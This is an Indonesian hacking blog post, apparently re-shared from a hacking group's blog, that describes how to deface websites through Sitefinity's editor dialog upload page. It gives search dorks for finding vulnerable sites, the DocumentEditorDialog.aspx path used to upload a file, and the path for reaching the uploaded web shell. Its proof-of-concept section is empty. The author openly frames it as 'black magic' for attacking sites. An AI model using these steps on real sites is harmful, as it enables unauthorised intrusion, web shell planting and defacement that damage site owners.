Deface Web Metode Sitefinity Editor Dialogs

Assalamualaikum :)
Apa kabar sobat?
Haha seperti biasa, gua males nulis artikel :v
Artikel ini gua re-share dari Blog GrooSec Squad 
Oke langsung aja mulai semedi nya :)

[+] Dork : 
/Sitefinity/login.aspx
inurl: "UserControls/Dialogs"

[+] Exploit :
www.NDAS.mu/sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx

[+] Access Shell :
www.NDAS.mu/Files/x.aspx 

[+] POC :

  


Semoga ilmu hitam ini bermanfaat :)